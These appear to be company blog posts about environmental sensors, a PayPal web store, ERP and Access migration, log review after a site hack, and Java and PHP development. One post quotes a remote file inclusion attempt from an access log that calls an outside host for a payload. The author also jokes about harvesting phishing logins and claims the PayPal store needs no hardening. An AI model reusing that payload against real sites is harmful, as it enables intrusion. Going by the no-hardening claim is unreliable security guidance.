Wire-Free, Real-time Environmental Monitoring Solution / Online Web-Store

The Wire-Free monitoring solution we put together at QDS has been gaining more interest. We have been busy going around to our partners, showcasing this technology. We believe the combine Wire-Free sensors hardware and the Visual Hierarchical Maps software is a powerful combination which helps facility manager gain insight into their data center environment.  A deployment for this solution is also coming up and I have been busy preparing for it. It is a big data center.
Just to share a sense of the scope, it is a using 5 readers and each reader can cover 2,000 - 5,000 sqf of space.  At the moment, it is only using small amount of sensors >100, but the great thing about this technology is, you can simply buy more sensors, stick it to the location you want, add it to the software and you are done (provided it is in an area with existing reader coverage).  Traditionally, adding sensors to a data center or anywhere is quite a laborious project itself.  You will need to plan for network, power, rackspace (rack-mountable appliance base solution), cabling, etc.  This hassle is simply not necessary with a wire-free solution anymore.

Our first venture into online purchase on the web is also available. The goal is to handle the consumer traffic and our consumer products.  Some of the products we carry are also of interest to consumer.  However, they are just looking to buy maybe one or two units, and it does not make much sense for our Account Manager, who's focus is to serve our partners, to spending too much time handling these inquiries.

On the technical side, we are using PayPal to handle all the customer information as well as payment processing.  The decision is a good one IMHO.  First of, we bypass the whole issue with PCI compliance.  We have off-load the payment processing (including credit card) to PayPal.  Secondly, we do not store any customer information either.  This is also handle on the PayPal side.  With this setup, there is absolutely no customer information processed or stored on our side, therefore We do not need to "harden" the website at the moment.

Quantum Data Systems in Google Maps

Quantum Data Systems is in Google Maps!

Business Transformation phase 2 write-up turns into ERP rambling

After a month or so of hard work, the very alpha of the front-end application for the sales team is released.  Although the functionality is very limited, I am a believer of the release early, release often motto.  It is vital not to hide in the corner, spend lots of time to work on your "brilliant idea", release it then realized it is quite disconnected from reality.

In our current utilization of the Access-based ERP system, we have stretched it to its limits.  For example, we are using it for quite a bit of analytical work such as average sold and purchase price calculations, customers sales history, cash flow reporting, product sales activity, etc.  With 15 years of sales history, this queries are a little bit too much for MS Access and its Simple JET-Engine architecture.

Some may then ask: What is the point of building the MS-Access ERP system and only to begin migration of it in 1/2 year?  Isn't it a complete waste of time and money?  Since a lot of business folks would like to compare software development with car manufacturing(1), I would use the car analogy too:  It is not a complete waste of money to buy a car for 1/2 year only to dump it for another car.  What is the ROI? Blah, blah, blah ... ...

This is a classic pitch from ERP software vendors to make you buy their ERP.  Why waste time developing your software when you can simply by a COTS products.  Yes, they love their TLA just to look smart.

No doubt some business should buy off-the shelve software to use it to solve well defined problems such as tax returns, restaurant POS/order entry/reservation management, but since a lot of business have this expectation, of it being this in-all, be-all system, well all information and all business process in to their ERP system, is your business a "off-the-shelve" business?

To be fair to the business folks, their expectation is probably inflated by the rogue vendors, salesman and all these marketing BS trying to prey on the unsuspecting folks.

Since I love the car analogy, let's go back to it with a software development-twist:

Buyer:  I need a car.
Salesman:  It is your lucky day, the new Prius just came in! It just won the "Best Resale Value" award from Kelley Blue Book's, it was named one of Forbes "Tougheset Cars on the Road", blah blah blah ... (and the list goes on)
Buyer: This must be a great car with all these recognitions
Salesman: Best of all it is a Hybrid, using Green Technologies and all.  You know, some the planet, save some trees. (What the hell is green technology?)
Buyer: Wow! I can really help the world with this car.
Salesman: It has great on mileage too!  That means this car will saving YOU money at the gas pump.
Buyer: Wow, I am really saving money buying this car.

No problem with the story? Here is where the analogy breaks down.  We never know what the buyer wants to do with the car!

In the software world, many buyers probably never driven a car before, have only seen piece of the car (think just the dashboard, the steering wheel, engine) but never seen the car as a whole.  They have read some fancy, vague, sales pitches in article in the latest magazine of how great a car is, for example:

•  "A car can take you from point A to point B very fast!" - buyer thinks he could use it to go from America to China really fast.
• "Save you money going to and from work!" - buyer walks 5 minutes to work, but since he doesn't really know what a car is, he really think it will save him money.
• "Revolutionize the way you travel" - now he thinks he can go to all these exotic countries he saw on the Travel Channel.

But you might think, the car buyer is being really stupid. How can he not know about what a car is. This comparison is complete bogus and unsound.  If that is what you are thinking, here is a question for you: What is an ERP system?

This post started off with the intention to write about our effort in business transformation.  It went complete off tangent into a rambling.  Oh well, I probably have ADD.  That's the beauty about blogs right?

(1) Disclaimer: I have not read the book.  I have only derived some basic understanding of the book from a blog post by Jeff Atwood

Using Groovy script for ETL, and more about the ERP

After 7 months of hard work, we have successfully migrated off a primitive console base system. The console base system consist of just 2 tables:

• Order + Line Items (this is one table!)
• Products (It was called Inventory, but really it just keep track of the product code, description and the Stock on Hand)

As a result of the primitive construct, little could be derived from the data. In phase one, we were able to make use of the data in the old system and merge it with 3 years of purchasing record stored in some excel documents. The ETL exercise itself was quite laborious. Merging 15 years of sales record and 3 years of purchase record was no small feat! Groovy scripts proved to be very handy for this ETL exercise, and Groovy's Java heritage, there was shortage of connectors to different data systems. For we have two sources: FoxPro DBF file and Excel XLS file, and the target system is a MS Access accdb file.  Here is an example to demonstrate how concise the connection code is, which free us to concentrate on the transformation logic:

def src= Sql.newInstance("jdbc:odbc:Driver={Microsoft Excel Driver (*.xls)};DBQ=<path to xls file>;DriverID=22;READONLY=true", "", "", "sun.jdbc.odbc.JdbcOdbcDriver");

def dest = Sql.newInstance("jdbc:odbc:Driver={Microsoft Access Driver (*.mdb, *.accdb)};DBQ=<path to accdb destination file>;pwd=<accdb file password>", "", "", "sun.jdbc.odbc.JdbcOdbcDriver");

src.eachRow("SELECT [PRODUCT ID], [PRODUCT CODE], ... WHERE ...", {
  // function body to process each row obtain from your source using the SQL statement
  // it.<field name> to get the value: for example:
  def productId = it."[Product ID]"

  // ... more code to get stuff from source

  // ... probably logic to run different insert statements base on different value from the source and business logic

  // an example to insert data into your target
  dest.execute("INSERT INTO [Products] ([Product ID], [Product Code], ...) VALUE (?,?, ...)", [productId, productCode, ...])
});

The new system went live after 3 weeks of hard work and we ran the old and new systems in parallel for 1 quarter and a bit. As of August, I am happy we are comfortable enough with the new system and since retired the old FoxPro system. During the last 1 quarter and a bit, development of the new system has continue to evolved. The functionality of the system and integration with the company is depicted in the following diagram:

There are two main problems with the above ecosystem:

1. Salesman, Inventory Controller, Shipper and Couriers all rely on the clerk to access the system.  
2. The analysis and data mining activity by the managers are stretching the limit of Access.

In the next phase of the evolution we have plan on addressing the above issues and add on more features. In order to prepare for the next phase, I have begun migrating the data in Access to SQL Server Express. This proved to be quite a challenging task, migrating a live system while trying to minimize the interruption to the business. I am in the middle of the process and this whole migration could be a post of its own.

Webmaster - The Operator in Matrix

I have been a webmaster of our company website for a few months now, and it reminds me of the Operator in the Matrix.

After the company website got hacked, I took on the role of maintaining the website as well.  I find myself parsing through access and error logs looking for anomalies.  To the average Joe, I guess it could look a lot like the Matrix.

However, staring at the "Matrix" has proven to be quite informative.  Although I found no hot blonde in red dress, I did learn a think or two about the www.  I didn't realized there are so many search engines out there. Here are a few I spotted in our access logs:

1. Google
2. Yahoo (slurp)
3. Baidu
4. MSN
5. Sogou
6. Youdao
7. Soso

Deja Vu in the Matrix? I got a few of those.  Here are a few anomalies I spotted:

89.108.67.164 - - [31/Jul/2010:20:33:55 +0800] "GET /website/index.php/component/virtuemart/details/117/69/remote-power-control/server-technology/switched-cdu///administrator/components/com_virtuemart/export.php?mosConfig.absolute.path=http://constructor.ru/modules/goodid.txt? HTTP/1.1" 200 45891 "-" "libwww-perl/5.812"

Spot anything?  Turns out it is an attempt to exploit a vulnerability in VirtueMart <=1.1.3.  Good things since I have re-did the website, I know exactly what is in it.  I have *all* the website components' release RSS feed in my Google Reader, setup up some kind of test-bed and source control, and make it a habit of patching the website soon after a release.  For the nitpicker smarty-pants out there, no I don't mean all the components of the website, that is why the *all* is quoted with a asterisks. I am not maintaining the website's Apache, PHP and MySQL infrastructure, let's hope our web-hosting company do a good job in maintaining that.

66.113.102.253 - - [31/Jul/2010:21:41:39 +0800] "GET /website/components/chase.com/logon_confirm/index.htm HTTP/1.1" 404 2203 "-" "Mozilla/5.0 (compatible; Fedora Core 5) FC5 KDE"

Looks like the hacker's script which planted the phony JP Morgan Chase page on our website back in March still thinks we are hosting their page.  Hmm.... since the hacker is already directing traffic to our site, maybe I should rebuild the Logon page and collect the login information for my evil use.

Arrwaaaaaa hahahhaha! (The Evil laughter)

Environment Monitoring Probe Optimization and the "-Xnoclassgc" Java parameter

By integration an existing monitoring software and some wireless reader and sensor technology, we have quickly came up with a prototye software to do environment monitoring as mentioned in another post. We where able to deploy a POC with a client and the feedback was positive.  However the client did notice some lingering Java process on the server where the software was deployed.  This is okay for a POC, but probably not okay for a live site with a lot of probes.  Luckily with our software, we are able to monitor the response time of these probes and chart it.  In a our test-bed with more than 100 sensors, I have picked 50 sensors and charted their response time.  They are indicated in the chart below.  During the time frame annotated with (1), it is the response time of the first generate probes.

Initially, I was hoping for a quick fix with some optimization parameters. Since this is a short-lived Java program, I used the "-Xnoclassgc" parameter and boom! the response time dropped by more than a third.  The response time can be seen marked as (2) in the chart.  If you do a quick google about the "-Xnoclassgc" parameter, you will get a lot of warning about using this parameter.  For example, this article titled "Java’s -Xnoclassgc considered harmful".  However, for a short-lived program, this is one of the situation which warrants using this parameter.

With the -Xnoclassgc fix, the response time of the probes are still taking almost 2 seconds, while when I do a network ping, it is roughly taking between 100~200 ms. In order to address this issue, a re-architecture of the probes were necessary.  While for the initial development, I was keeping the quick-to-market approach in mind now it is time to take it to the next-level for real production usage.

To ensure the long time viability of this solution, I have also setup proper source control and redundant repositories to ensure the code is not lost.  With the new version with the new streamline code base, the solution has been optimize in both size and speed.  The response time is now comparable to a ping command between 100~200 ms as indicate in section (3) in the chart.  The deployment package was also shrunk from over 1.1 MB to 21 KB.  With this improvement, there are no longer any lingering Java process on the server!

Finally a more stable development environment for PHP/Joomla

Working on our Joomla based website has been a pain for the longest time for me.  I have the development setup using XAMPP 1.7.3, and Netbeans 6.8. One of the key tool for a developer is the ability to run in debug more and step-through the code, inspecting the variables during runtime.  Unfortunately, for my default setup, the Apache HTTPD process crashing when ever I tried to inspect a variable.  A quick Google on the web showed there is a lot of people facing similar issue:

• Why does xdebug crash apache on every XAMPP install I’ve tried? on Stackoverflow
• http://bugs.xdebug.org/view.php?id=410 on XDebug's own bug tracker

When our website got hacked as mentioned in an earlier post, the migration from Joomla 1.0.x to 1.5.x would have been a lot more easier with a properly setup development environment.

The good news xdebug v2.1.0 release on 2010-06-29 has been working a lot more stable for me.  Although still crashes a lot, way more than what I am use to on the Java platform, it manages to hold up for most of the time in order for me to inspect the code and runtime variable to get a good sense of what is going on.  Good thing is the current website is still fairly stateless and I could get back to the page or state I want to debug fairly quickly after a crash.

Perhaps this why there is still a lot of debate on whehter PHP is ready for the enterprise.  I hate to be working on an issue deep inside a complicated workflow on a PHP platform!